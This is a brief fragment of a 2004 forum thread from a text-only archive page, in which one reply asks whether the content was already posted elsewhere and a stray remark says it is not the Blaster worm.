Feb 26 2004, 10:28 AM
^^ Didnt I just see this in a different post
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
(IE ITS NOT BLASTER).
)
